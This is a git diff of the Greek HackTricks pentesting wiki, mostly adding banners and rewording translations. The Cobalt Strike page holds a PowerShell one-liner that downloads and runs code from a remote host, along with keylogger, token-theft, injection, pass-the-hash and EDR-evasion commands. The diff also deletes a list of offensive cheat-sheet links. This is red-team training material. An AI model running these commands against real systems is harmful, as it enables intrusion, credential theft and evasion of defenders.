Δεσμεύστε τις αλλαγές σας (`git commit -m 'Add some AmazingFeature'`) 4. Push στο branch (`git push origin feature/AmazingFeature`) 5. Ανοίξτε ένα pull request @@ -157,7 +159,7 @@ fissure GPL-3.0 -Για λεπτομέρειες σχετικά με την άδεια, δείτε το αρχείο LICENSE. +Για λεπτομέρειες άδειας, δείτε το αρχείο LICENSE. ## Επικοινωνία @@ -178,3 +180,5 @@ Business Development - Assured Information Security, Inc. - bd@ainfosec.com ## Ευχαριστίες Ιδιαίτερες ευχαριστίες στον Dr. Samuel Mantravadi και τον Joseph Reith για τις συνεισφορές τους σε αυτό το έργο. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/references.md b/src/todo/references.md deleted file mode 100644 index eb3792a1f..000000000 --- a/src/todo/references.md +++ /dev/null @@ -1,95 +0,0 @@ -{{#include ../banners/hacktricks-training.md}} - -{{#ref}} -https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick -{{#endref}} - -{{#ref}} -https://hausec.com/pentesting-cheatsheet/#_Toc475368982 -{{#endref}} - -{{#ref}} -https://anhtai.me/pentesting-cheatsheet/ -{{#endref}} - -{{#ref}} -https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html -{{#endref}} - -{{#ref}} -https://ired.team/offensive-security-experiments/offensive-security-cheetsheets -{{#endref}} - -{{#ref}} -https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html -{{#endref}} - -{{#ref}} -https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md -{{#endref}} - -{{#ref}} -https://anhtai.me/oscp-fun-guide/ -{{#endref}} - -{{#ref}} -https://www.thehacker.recipes/ -{{#endref}} - -{{#ref}} -https://github.com/swisskyrepo/PayloadsAllTheThings -{{#endref}} - -{{#ref}} -https://gtfobins.github.io/ -{{#endref}} - -{{#ref}} -https://github.com/RistBS/Awesome-RedTeam-Cheatsheet -{{#endref}} - -{{#ref}} -https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet -{{#endref}} - -{{#ref}} -https://hideandsec.sh/ -{{#endref}} - -{{#ref}} -https://cheatsheet.haax.fr/ -{{#endref}} - -{{#ref}} -https://infosecwriteups.com/ -{{#endref}} - -{{#ref}} -https://www.exploit-db.com/ -{{#endref}} - -{{#ref}} -https://wadcoms.github.io/ -{{#endref}} - -{{#ref}} -https://lolbas-project.github.io -{{#endref}} - -{{#ref}} -https://pentestbook.six2dez.com/ -{{#endref}} - -{{#ref}} -https://www.hackingarticles.in/ -{{#endref}} - -{{#ref}} -https://pentestlab.blog/ -{{#endref}} - -{{#ref}} -https://ippsec.rocks/ -{{#endref}} - -{{#include ../banners/hacktricks-training.md}} diff --git a/src/todo/rust-basics.md b/src/todo/rust-basics.md index b813882ea..0f549d7fb 100644 --- a/src/todo/rust-basics.md +++ b/src/todo/rust-basics.md @@ -1,6 +1,8 @@ # Rust Basics -### Generic Types +{{#include /banners/hacktricks-training.md}} + +### Γενικοί Τύποι Δημιουργήστε μια δομή όπου 1 από τις τιμές τους θα μπορούσε να είναι οποιοσδήποτε τύπος ```rust @@ -30,7 +32,7 @@ Some(T), ### Μακροεντολές -Οι μακροεντολές είναι πιο ισχυρές από τις συναρτήσεις επειδή επεκτείνονται για να παράγουν περισσότερο κώδικα από τον κώδικα που έχετε γράψει χειροκίνητα. Για παράδειγμα, μια υπογραφή συνάρτησης πρέπει να δηλώνει τον αριθμό και τον τύπο των παραμέτρων που έχει η συνάρτηση. Οι μακροεντολές, από την άλλη πλευρά, μπορούν να δέχονται μεταβλητό αριθμό παραμέτρων: μπορούμε να καλέσουμε `println!("hello")` με ένα επιχείρημα ή `println!("hello {}", name)` με δύο επιχειρήματα. Επίσης, οι μακροεντολές επεκτείνονται πριν ο μεταγλωττιστής ερμηνεύσει τη σημασία του κώδικα, οπότε μια μακροεντολή μπορεί, για παράδειγμα, να υλοποιήσει ένα trait σε έναν δεδομένο τύπο. Μια συνάρτηση δεν μπορεί, επειδή καλείται κατά την εκτέλεση και ένα trait πρέπει να υλοποιείται κατά τη διάρκεια της μεταγλώττισης. +Οι μακροεντολές είναι πιο ισχυρές από τις συναρτήσεις επειδή επεκτείνονται για να παράγουν περισσότερο κώδικα από τον κώδικα που έχετε γράψει χειροκίνητα. Για παράδειγμα, μια υπογραφή συνάρτησης πρέπει να δηλώνει τον αριθμό και τον τύπο των παραμέτρων που έχει η συνάρτηση. Οι μακροεντολές, από την άλλη πλευρά, μπορούν να δέχονται μεταβλητό αριθμό παραμέτρων: μπορούμε να καλέσουμε `println!("hello")` με ένα επιχείρημα ή `println!("hello {}", name)` με δύο επιχειρήματα. Επίσης, οι μακροεντολές επεκτείνονται πριν ο μεταγλωττιστής ερμηνεύσει τη σημασία του κώδικα, έτσι μια μακροεντολή μπορεί, για παράδειγμα, να υλοποιήσει ένα trait σε έναν δεδομένο τύπο. Μια συνάρτηση δεν μπορεί, επειδή καλείται κατά την εκτέλεση και ένα trait πρέπει να υλοποιείται κατά τη διάρκεια της μεταγλώττισης. ```rust macro_rules! my_macro { () => { @@ -285,4 +287,4 @@ thread::sleep(Duration::from_millis(500)); } } ``` - +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/test-llms.md b/src/todo/test-llms.md index fbb7b290e..e388f9fa8 100644 --- a/src/todo/test-llms.md +++ b/src/todo/test-llms.md @@ -1,5 +1,7 @@ # Δοκιμή LLMs +{{#include /banners/hacktricks-training.md}} + ## Εκτέλεση & εκπαίδευση μοντέλων τοπικά ### [**Hugging Face Transformers**](https://github.com/huggingface/transformers) @@ -8,7 +10,7 @@ Hugging Face Transformers είναι μία από τις πιο δημοφιλ ### [**LangChain**](https://github.com/langchain-ai/langchain) -LangChain είναι ένα πλαίσιο σχεδιασμένο για την κατασκευή εφαρμογών με LLMs. Επιτρέπει στους προγραμματιστές να συνδέουν γλωσσικά μοντέλα με εξωτερικές πηγές δεδομένων, APIs και βάσεις δεδομένων. Το LangChain παρέχει εργαλεία για προηγμένη μηχανική προτροπών, διαχείριση ιστορικού συνομιλιών και ενσωμάτωση LLMs σε σύνθετες ροές εργασίας. +LangChain είναι ένα πλαίσιο σχεδιασμένο για την κατασκευή εφαρμογών με LLMs. Επιτρέπει στους προγραμματιστές να συνδέουν γλωσσικά μοντέλα με εξωτερικές πηγές δεδομένων, APIs και βάσεις δεδομένων. Το LangChain παρέχει εργαλεία για προηγμένο σχεδιασμό προτροπών, διαχείριση ιστορικού συνομιλιών και ενσωμάτωση LLMs σε σύνθετες ροές εργασίας. ### [**LitGPT**](https://github.com/Lightning-AI/litgpt) @@ -17,11 +19,11 @@ LitGPT είναι ένα έργο που αναπτύχθηκε από την Li ### [**LitServe**](https://github.com/Lightning-AI/LitServe) **Περιγραφή:**\ -Το LitServe είναι ένα εργαλείο ανάπτυξης από την Lightning AI σχεδιασμένο για γρήγορη και αποτελεσματική ανάπτυξη AI μοντέλων. Απλοποιεί την ενσωμάτωση των LLMs σε εφαρμογές σε πραγματικό χρόνο παρέχοντας κλιμακωτές και βελτιστοποιημένες δυνατότητες εξυπηρέτησης. +LitServe είναι ένα εργαλείο ανάπτυξης από την Lightning AI σχεδιασμένο για γρήγορη και αποτελεσματική ανάπτυξη AI μοντέλων. Απλοποιεί την ενσωμάτωση LLMs σε εφαρμογές σε πραγματικό χρόνο παρέχοντας κλιμακωτές και βελτιστοποιημένες δυνατότητες εξυπηρέτησης. ### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl) -Axolotl είναι μια πλατφόρμα cloud που έχει σχεδιαστεί για να απλοποιεί την ανάπτυξη, κλιμάκωση και διαχείριση AI μοντέλων, συμπεριλαμβανομένων των LLMs. Προσφέρει δυνατότητες όπως αυτοματοποιημένη κλιμάκωση, παρακολούθηση και ενσωμάτωση με διάφορες υπηρεσίες cloud, διευκολύνοντας την ανάπτυξη μοντέλων σε παραγωγικά περιβάλλοντα χωρίς εκτενή διαχείριση υποδομών. +Axolotl είναι μια πλατφόρμα cloud σχεδιασμένη για να απλοποιεί την ανάπτυξη, κλιμάκωση και διαχείριση AI μοντέλων, συμπεριλαμβανομένων των LLMs. Προσφέρει δυνατότητες όπως αυτοματοποιημένη κλιμάκωση, παρακολούθηση και ενσωμάτωση με διάφορες υπηρεσίες cloud, διευκολύνοντας την ανάπτυξη μοντέλων σε παραγωγικά περιβάλλοντα χωρίς εκτενή διαχείριση υποδομών. ## Δοκιμάστε μοντέλα online @@ -39,7 +41,7 @@ Axolotl είναι μια πλατφόρμα cloud που έχει σχεδια **TensorFlow Hub** είναι ένα ολοκληρωμένο αποθετήριο επαναχρησιμοποιήσιμων μονάδων μηχανικής μάθησης που αναπτύχθηκε από την Google. Επικεντρώνεται στη διευκόλυνση της κοινοποίησης και ανάπτυξης μοντέλων μηχανικής μάθησης, ειδικά αυτών που έχουν κατασκευαστεί με το TensorFlow. * **Μονάδες:** Μια εκτενή συλλογή προεκπαιδευμένων μοντέλων και συστατικών μοντέλων όπου οι χρήστες μπορούν να περιηγηθούν, να κατεβάσουν και να ενσωματώσουν μονάδες για εργασίες όπως η ταξινόμηση εικόνας, η ενσωμάτωση κειμένου και άλλα. -* **Μαθήματα:** Οδηγίες βήμα προς βήμα και παραδείγματα που βοηθούν τους χρήστες να κατανοήσουν πώς να υλοποιήσουν και να βελτιώσουν μοντέλα χρησιμοποιώντας το TensorFlow Hub. +* **Μαθήματα:** Οδηγίες και παραδείγματα βήμα προς βήμα που βοηθούν τους χρήστες να κατανοήσουν πώς να υλοποιήσουν και να βελτιώσουν μοντέλα χρησιμοποιώντας το TensorFlow Hub. * **Τεκμηρίωση:** Ολοκληρωμένοι οδηγοί και αναφορές API που βοηθούν τους προγραμματιστές να αξιοποιήσουν αποτελεσματικά τους πόρους του αποθετηρίου. ## [**Replicate**](https://replicate.com/home) @@ -48,3 +50,5 @@ Axolotl είναι μια πλατφόρμα cloud που έχει σχεδια * **Μοντέλα:** Ένα αποθετήριο μοντέλων μηχανικής μάθησης που έχει συνεισφέρει η κοινότητα, το οποίο οι χρήστες μπορούν να περιηγηθούν, να δοκιμάσουν και να ενσωματώσουν μοντέλα στις εφαρμογές τους με ελάχιστη προσπάθεια. * **Πρόσβαση API:** Απλά APIs για την εκτέλεση μοντέλων που επιτρέπουν στους προγραμματιστές να αναπτύσσουν και να κλιμακώνουν μοντέλα χωρίς κόπο μέσα στις δικές τους εφαρμογές. + +{{#include /banners/hacktricks-training.md}} diff --git a/src/todo/tr-069.md b/src/todo/tr-069.md deleted file mode 100644 index e2efcf98b..000000000 --- a/src/todo/tr-069.md +++ /dev/null @@ -1 +0,0 @@ -# TR-069 diff --git a/src/windows-hardening/cobalt-strike.md b/src/windows-hardening/cobalt-strike.md index c4e3af37c..d305a2dd8 100644 --- a/src/windows-hardening/cobalt-strike.md +++ b/src/windows-hardening/cobalt-strike.md @@ -1,5 +1,7 @@ # Cobalt Strike +{{#include /banners/hacktricks-training.md}} + ### Listeners ### C2 Listeners @@ -41,10 +43,10 @@ execute-assembly # Σημειώστε ότι για να φορτώσετε assemblies μεγαλύτερα από 1MB, η ιδιότητα 'tasks_max_size' του malleable profile πρέπει να τροποποιηθεί. # Screenshots -printscreen # Λάβετε ένα μόνο screenshot μέσω της μεθόδου PrintScr -screenshot # Λάβετε ένα μόνο screenshot -screenwatch # Λάβετε περιοδικά screenshots της επιφάνειας εργασίας -## Πηγαίνετε στο View -> Screenshots για να τα δείτε +printscreen # Πάρτε μια μόνο screenshot μέσω της μεθόδου PrintScr +screenshot # Πάρτε μια μόνο screenshot +screenwatch # Πάρτε περιοδικές screenshots της επιφάνειας εργασίας +## Πηγαίνετε στο View -> Screenshots για να τις δείτε # keylogger keylogger [pid] [x86|x64] @@ -67,7 +69,7 @@ psinject # Αυτό εισάγει Unmanag # User impersonation ## Token generation with creds make_token [DOMAIN\user] [password] #Δημιουργία token για να προσποιηθείτε έναν χρήστη στο δίκτυο -ls \\computer_name\c$ # Προσπαθήστε να χρησιμοποιήσετε το παραγόμενο token για να αποκτήσετε πρόσβαση στο C$ σε έναν υπολογιστή +ls \\computer_name\c$ # Δοκιμάστε να χρησιμοποιήσετε το παραγόμενο token για να αποκτήσετε πρόσβαση στο C$ σε έναν υπολογιστή rev2self # Σταματήστε να χρησιμοποιείτε το token που δημιουργήθηκε με make_token ## Η χρήση του make_token δημιουργεί το γεγονός 4624: Ένας λογαριασμός συνδέθηκε επιτυχώς. Αυτό το γεγονός είναι πολύ κοινό σε ένα Windows domain, αλλά μπορεί να περιοριστεί φιλτράροντας τον Τύπο Σύνδεσης. Όπως αναφέρθηκε παραπάνω, χρησιμοποιεί το LOGON32_LOGON_NEW_CREDENTIALS που είναι τύπος 9. @@ -77,22 +79,22 @@ elevate uac-token-duplication runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ## Steal token from pid -## Όπως το make_token αλλά κλέβει το token από μια διαδικασία +## Όπως το make_token αλλά κλέβοντας το token από μια διαδικασία steal_token [pid] # Επίσης, αυτό είναι χρήσιμο για ενέργειες δικτύου, όχι τοπικές ενέργειες ## Από την τεκμηρίωση API γνωρίζουμε ότι αυτός ο τύπος σύνδεσης "επιτρέπει στον καλούντα να κλωνοποιήσει το τρέχον token του". Γι' αυτό η έξοδος Beacon λέει Προσωποποιημένο - προσποιείται το κλωνοποιημένο token μας. -ls \\computer_name\c$ # Προσπαθήστε να χρησιμοποιήσετε το παραγόμενο token για να αποκτήσετε πρόσβαση στο C$ σε έναν υπολογιστή +ls \\computer_name\c$ # Δοκιμάστε να χρησιμοποιήσετε το παραγόμενο token για να αποκτήσετε πρόσβαση στο C$ σε έναν υπολογιστή rev2self # Σταματήστε να χρησιμοποιείτε το token από steal_token -## Launch process with nwe credentials +## Launch process with new credentials spawnas [domain\username] [password] [listener] #Κάντε το από έναν κατάλογο με δικαιώματα ανάγνωσης όπως: cd C:\ -## Όπως το make_token, αυτό θα δημιουργήσει το Windows event 4624: Ένας λογαριασμός συνδέθηκε επιτυχώς αλλά με έναν τύπο σύνδεσης 2 (LOGON32_LOGON_INTERACTIVE). Θα αναφέρει τον καλούντα χρήστη (TargetUserName) και τον προσωποποιημένο χρήστη (TargetOutboundUserName). +## Όπως το make_token, αυτό θα δημιουργήσει το γεγονός Windows 4624: Ένας λογαριασμός συνδέθηκε επιτυχώς αλλά με τύπο σύνδεσης 2 (LOGON32_LOGON_INTERACTIVE). Θα αναφέρει τον καλούντα χρήστη (TargetUserName) και τον προσωποποιημένο χρήστη (TargetOutboundUserName). ## Inject into process inject [pid] [x64|x86] [listener] ## Από την άποψη του OpSec: Μην εκτελείτε διασυνοριακή ένεση εκτός αν είναι απολύτως απαραίτητο (π.χ. x86 -> x64 ή x64 -> x86). ## Pass the hash -## Αυτή η διαδικασία τροποποίησης απαιτεί patching της μνήμης LSASS που είναι μια ενέργεια υψηλού κινδύνου, απαιτεί τοπικά δικαιώματα διαχειριστή και δεν είναι πολύ βιώσιμη αν είναι ενεργοποιημένη η Protected Process Light (PPL). +## Αυτή η διαδικασία τροποποίησης απαιτεί την επιδιόρθωση της μνήμης LSASS, η οποία είναι μια ενέργεια υψηλού κινδύνου, απαιτεί τοπικά δικαιώματα διαχειριστή και δεν είναι πάντα εφικτή αν είναι ενεργοποιημένη η Protected Process Light (PPL). pth [pid] [arch] [DOMAIN\user] [NTLM hash] pth [DOMAIN\user] [NTLM hash] @@ -189,14 +191,14 @@ beacon> ssh 10.10.17.12:22 username password ### Execute-Assembly -Η **`execute-assembly`** χρησιμοποιεί μια **θυσιαστική διαδικασία** χρησιμοποιώντας απομακρυσμένη ένεση διαδικασίας για να εκτελέσει το υποδεικνυόμενο πρόγραμμα. Αυτό είναι πολύ θορυβώδες καθώς για να εισαχθεί μέσα σε μια διαδικασία χρησιμοποιούνται ορισμένα Win APIs που ελέγχει κάθε EDR. Ωστόσο, υπάρχουν μερικά προσαρμοσμένα εργαλεία που μπορούν να χρησιμοποιηθούν για να φορτώσουν κάτι στην ίδια διαδικασία: +Το **`execute-assembly`** χρησιμοποιεί μια **θυσιαστική διαδικασία** χρησιμοποιώντας απομακρυσμένη ένεση διαδικασίας για να εκτελέσει το υποδεικνυόμενο πρόγραμμα. Αυτό είναι πολύ θορυβώδες καθώς για να εισαχθεί μέσα σε μια διαδικασία χρησιμοποιούνται ορισμένα Win APIs που ελέγχει κάθε EDR. Ωστόσο, υπάρχουν μερικά προσαρμοσμένα εργαλεία που μπορούν να χρησιμοποιηθούν για να φορτώσουν κάτι στην ίδια διαδικασία: - [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly) - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) - Στο Cobalt Strike μπορείτε επίσης να χρησιμοποιήσετε BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET) - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly) -Το script του aggressor `https://github.com/outflanknl/HelpColor` θα δημιουργήσει την εντολή `helpx` στο Cobalt Strike που θα βάζει χρώματα στις εντολές υποδεικνύοντας αν είναι BOFs (πράσινο), αν είναι Frok&Run (κίτρινο) και παρόμοια, ή αν είναι ProcessExecution, injection ή παρόμοια (κόκκινο). Αυτό βοηθάει να γνωρίζετε ποιες εντολές είναι πιο κρυφές. +Το script aggressor `https://github.com/outflanknl/HelpColor` θα δημιουργήσει την εντολή `helpx` στο Cobalt Strike που θα βάζει χρώματα στις εντολές υποδεικνύοντας αν είναι BOFs (πράσινο), αν είναι Frok&Run (κίτρινο) και παρόμοια, ή αν είναι ProcessExecution, injection ή παρόμοια (κόκκινο). Αυτό βοηθάει να γνωρίζετε ποιες εντολές είναι πιο κρυφές. ### Act as the user @@ -205,23 +207,23 @@ beacon> ssh 10.10.17.12:22 username password - Security EID 4624 - Ελέγξτε όλες τις διαδραστικές συνδέσεις για να γνωρίζετε τις συνήθεις ώρες λειτουργίας. - System EID 12,13 - Ελέγξτε τη συχνότητα τερματισμού/εκκίνησης/ύπνου. - Security EID 4624/4625 - Ελέγξτε τις έγκυρες/μη έγκυρες NTLM προσπάθειες εισόδου. -- Security EID 4648 - Αυτό το γεγονός δημιουργείται όταν χρησιμοποιούνται απλές διαπιστεύσεις για σύνδεση. Αν μια διαδικασία το δημιούργησε, το δυαδικό αρχείο πιθανώς έχει τις διαπιστεύσεις σε καθαρό κείμενο σε ένα αρχείο ρύθμισης ή μέσα στον κώδικα. +- Security EID 4648 - Αυτό το γεγονός δημιουργείται όταν χρησιμοποιούνται απλές διαπιστευτήρια για σύνδεση. Αν μια διαδικασία το δημιούργησε, το δυαδικό αρχείο πιθανώς έχει τα διαπιστευτήρια σε καθαρό κείμενο σε ένα αρχείο ρυθμίσεων ή μέσα στον κώδικα. -Όταν χρησιμοποιείτε `jump` από το cobalt strike, είναι καλύτερο να χρησιμοποιείτε τη μέθοδο `wmi_msbuild` για να κάνετε τη νέα διαδικασία να φαίνεται πιο νόμιμη. +Όταν χρησιμοποιείτε `jump` από το cobalt strike, είναι καλύτερο να χρησιμοποιήσετε τη μέθοδο `wmi_msbuild` για να κάνετε τη νέα διαδικασία να φαίνεται πιο νόμιμη. ### Use computer accounts -Είναι κοινό για τους αμυντικούς να ελέγχουν περίεργες συμπεριφορές που προκύπτουν από χρήστες και **να εξαιρούν λογαριασμούς υπηρεσιών και λογαριασμούς υπολογιστών όπως `*$` από την παρακολούθησή τους**. Μπορείτε να χρησιμοποιήσετε αυτούς τους λογαριασμούς για να εκτελέσετε πλευρική κίνηση ή αναβάθμιση δικαιωμάτων. +Είναι κοινό για τους υπερασπιστές να ελέγχουν περίεργες συμπεριφορές που προκύπτουν από χρήστες και **να εξαιρούν λογαριασμούς υπηρεσιών και λογαριασμούς υπολογιστών όπως `*$` από την παρακολούθησή τους**. Μπορείτε να χρησιμοποιήσετε αυτούς τους λογαριασμούς για να εκτελέσετε πλευρική κίνηση ή κλιμάκωση δικαιωμάτων. ### Use stageless payloads -Τα stageless payloads είναι λιγότερο θορυβώδη από τα staged γιατί δεν χρειάζεται να κατεβάσουν μια δεύτερη φάση από τον server C2. Αυτό σημαίνει ότι δεν δημιουργούν καθόλου δικτυακή κίνηση μετά την αρχική σύνδεση, καθιστώντας τα λιγότερο πιθανό να ανιχνευθούν από τις δικτυακές άμυνες. +Τα stageless payloads είναι λιγότερο θορυβώδη από τα staged γιατί δεν χρειάζεται να κατεβάσουν μια δεύτερη φάση από τον C2 server. Αυτό σημαίνει ότι δεν δημιουργούν καθόλου δικτυακή κίνηση μετά την αρχική σύνδεση, καθιστώντας τα λιγότερο πιθανό να ανιχνευθούν από τις δικτυακές άμυνες. ### Tokens & Token Store Να είστε προσεκτικοί όταν κλέβετε ή δημιουργείτε tokens γιατί μπορεί να είναι δυνατό για ένα EDR να απαριθμήσει όλα τα tokens όλων των νημάτων και να βρει ένα **token που ανήκει σε διαφορετικό χρήστη** ή ακόμα και σε SYSTEM στη διαδικασία. -Αυτό επιτρέπει την αποθήκευση tokens **ανά beacon** έτσι ώστε να μην χρειάζεται να κλέβετε το ίδιο token ξανά και ξανά. Αυτό είναι χρήσιμο για πλευρική κίνηση ή όταν χρειάζεται να χρησιμοποιήσετε ένα κλεμμένο token πολλές φορές: +Αυτό επιτρέπει την αποθήκευση tokens **ανά beacon** ώστε να μην χρειάζεται να κλέβετε το ίδιο token ξανά και ξανά. Αυτό είναι χρήσιμο για πλευρική κίνηση ή όταν χρειάζεται να χρησιμοποιήσετε ένα κλεμμένο token πολλές φορές: - token-store steal - token-store steal-and-use @@ -230,17 +232,17 @@ beacon> ssh 10.10.17.12:22 username password - token-store remove - token-store remove-all -Όταν κινείστε πλευρικά, συνήθως είναι καλύτερο να **κλέβετε ένα token παρά να δημιουργείτε ένα νέο** ή να εκτελείτε μια επίθεση pass the hash. +Όταν κινείστε πλευρικά, συνήθως είναι καλύτερο να **κλέψετε ένα token παρά να δημιουργήσετε ένα νέο** ή να εκτελέσετε μια επίθεση pass the hash. ### Guardrails -Το Cobalt Strike έχει μια δυνατότητα που ονομάζεται **Guardrails** που βοηθά στην αποφυγή της χρήσης ορισμένων εντολών ή ενεργειών που θα μπορούσαν να ανιχνευθούν από τους αμυντικούς. Οι Guardrails μπορούν να ρυθμιστούν για να αποκλείσουν συγκεκριμένες εντολές, όπως `make_token`, `jump`, `remote-exec`, και άλλες που χρησιμοποιούνται συνήθως για πλευρική κίνηση ή αναβάθμιση δικαιωμάτων. +Το Cobalt Strike έχει μια δυνατότητα που ονομάζεται **Guardrails** που βοηθά στην αποφυγή της χρήσης ορισμένων εντολών ή ενεργειών που θα μπορούσαν να ανιχνευθούν από τους υπερασπιστές. Οι Guardrails μπορούν να ρυθμιστούν για να αποκλείσουν συγκεκριμένες εντολές, όπως `make_token`, `jump`, `remote-exec`, και άλλες που χρησιμοποιούνται συνήθως για πλευρική κίνηση ή κλιμάκωση δικαιωμάτων. Επιπλέον, το repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) περιέχει επίσης κάποιες ελέγχους και ιδέες που θα μπορούσατε να εξετάσετε πριν εκτελέσετε ένα payload. ### Tickets encryption -Σε ένα AD να είστε προσεκτικοί με την κρυπτογράφηση των εισιτηρίων. Από προεπιλογή, ορισμένα εργαλεία θα χρησιμοποιούν κρυπτογράφηση RC4 για τα εισιτήρια Kerberos, η οποία είναι λιγότερο ασφαλής από την κρυπτογράφηση AES και από προεπιλογή, τα ενημερωμένα περιβάλλοντα θα χρησιμοποιούν AES. Αυτό μπορεί να ανιχνευθεί από τους αμυντικούς που παρακολουθούν αδύναμους αλγόριθμους κρυπτογράφησης. +Σε ένα AD να είστε προσεκτικοί με την κρυπτογράφηση των εισιτηρίων. Από προεπιλογή, ορισμένα εργαλεία θα χρησιμοποιούν κρυπτογράφηση RC4 για τα εισιτήρια Kerberos, η οποία είναι λιγότερο ασφαλής από την κρυπτογράφηση AES και από προεπιλογή, τα ενημερωμένα περιβάλλοντα θα χρησιμοποιούν AES. Αυτό μπορεί να ανιχνευθεί από τους υπερασπιστές που παρακολουθούν αδύναμους αλγόριθμους κρυπτογράφησης. ### Avoid Defaults @@ -248,7 +250,7 @@ beacon> ssh 10.10.17.12:22 username password Επιπλέον, με τις συνεδρίες SSH δημιουργείται ένας σωλήνας που ονομάζεται `\\.\pipe\postex_ssh_####`. Αλλάξτε το με `set ssh_pipename "";`. -Επίσης, στην επίθεση post exploitation οι σωλήνες `\\.\pipe\postex_####` μπορούν να τροποποιηθούν με `set pipename ""`. +Επίσης στην επίθεση post exploitation οι σωλήνες `\\.\pipe\postex_####` μπορούν να τροποποιηθούν με `set pipename ""`. Στα προφίλ του Cobalt Strike μπορείτε επίσης να τροποποιήσετε πράγματα όπως: @@ -262,19 +264,19 @@ beacon> ssh 10.10.17.12:22 username password ### Bypass memory scanning -Ορισμένα EDRs σαρώνουν τη μνήμη για ορισμένες γνωστές υπογραφές κακόβουλου λογισμικού. Το Cobalt Strike επιτρέπει την τροποποίηση της λειτουργίας `sleep_mask` ως BOF που θα είναι σε θέση να κρυπτογραφήσει στη μνήμη την πίσω πόρτα. +Ορισμένα EDRs σαρώνουν τη μνήμη για ορισμένες γνωστές υπογραφές κακόβουλου λογισμικού. Το Cobalt Strike επιτρέπει την τροποποίηση της λειτουργίας `sleep_mask` ως BOF που θα είναι ικανό να κρυπτογραφήσει στη μνήμη την πίσω πόρτα. ### Noisy proc injections -Όταν εισάγετε κώδικα σε μια διαδικασία αυτό είναι συνήθως πολύ θορυβώδες, αυτό συμβαίνει γιατί **καμία κανονική διαδικασία δεν εκτελεί συνήθως αυτή την ενέργεια και επειδή οι τρόποι για να το κάνετε αυτό είναι πολύ περιορισμένοι**. Επομένως, μπορεί να ανιχνευθεί από συστήματα ανίχνευσης που βασίζονται στη συμπεριφορά. Επιπλέον, μπορεί επίσης να ανιχνευθεί από EDRs που σαρώνουν το δίκτυο για **νήματα που περιέχουν κώδικα που δεν είναι στο δίσκο** (αν και διαδικασίες όπως οι περιηγητές που χρησιμοποιούν JIT το έχουν αυτό συνήθως). Παράδειγμα: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) +Όταν εισάγετε κώδικα σε μια διαδικασία αυτό είναι συνήθως πολύ θορυβώδες, αυτό συμβαίνει γιατί **κανένας κανονικός διαδικασία δεν εκτελεί συνήθως αυτή την ενέργεια και επειδή οι τρόποι για να το κάνετε αυτό είναι πολύ περιορισμένοι**. Επομένως, μπορεί να ανιχνευθεί από συστήματα ανίχνευσης που βασίζονται στη συμπεριφορά. Επιπλέον, μπορεί επίσης να ανιχνευθεί από EDRs που σαρώνουν το δίκτυο για **νήματα που περιέχουν κώδικα που δεν είναι στο δίσκο** (αν και διαδικασίες όπως οι περιηγητές που χρησιμοποιούν JIT το έχουν αυτό συνήθως). Παράδειγμα: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) ### Spawnas | PID and PPID relationships Όταν δημιουργείτε μια νέα διαδικασία είναι σημαντικό να **διατηρείτε μια κανονική σχέση γονέα-παιδιού** μεταξύ των διαδικασιών για να αποφύγετε την ανίχνευση. Αν το svchost.exec εκτελεί το iexplorer.exe θα φαίνεται ύποπτο, καθώς το svchost.exe δεν είναι γονέας του iexplorer.exe σε ένα κανονικό περιβάλλον Windows. -Όταν ένα νέο beacon δημιουργείται στο Cobalt Strike από προεπιλογή δημιουργείται μια διαδικασία που χρησιμοποιεί **`rundll32.exe`** για να εκτελέσει τον νέο listener. Αυτό δεν είναι πολύ κρυφό και μπορεί να ανιχνευθεί εύκολα από EDRs. Επιπλέον, το `rundll32.exe` εκτελείται χωρίς κανένα επιχείρημα καθιστώντας το ακόμα πιο ύποπτο. +Όταν δημιουργείται ένα νέο beacon στο Cobalt Strike από προεπιλογή δημιουργείται μια διαδικασία που χρησιμοποιεί **`rundll32.exe`** για να εκτελέσει τον νέο listener. Αυτό δεν είναι πολύ κρυφό και μπορεί να ανιχνευθεί εύκολα από EDRs. Επιπλέον, το `rundll32.exe` εκτελείται χωρίς κανένα επιχείρημα, καθιστώντας το ακόμα πιο ύποπτο. -Με την ακόλουθη εντολή Cobalt Strike, μπορείτε να καθορίσετε μια διαφορετική διαδικασία για να δημιουργήσετε το νέο beacon, καθιστώντας το λιγότερο ανιχνεύσιμο: +Με την παρακάτω εντολή Cobalt Strike, μπορείτε να καθορίσετε μια διαφορετική διαδικασία για να δημιουργήσετε το νέο beacon, καθιστώντας το λιγότερο ανιχνεύσιμο: ```bash spawnto x86 svchost.exe ``` @@ -360,3 +362,6 @@ cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\Resou cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` + + +{{#include /banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index 9829687e7..466ee5003 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,16 +1,14 @@ -# Windows Credentials Protections - -## Credentials Protections +# Προστασίες Διαπιστευτηρίων Windows {{#include ../../banners/hacktricks-training.md}} ## WDigest -Το [WDigest]() 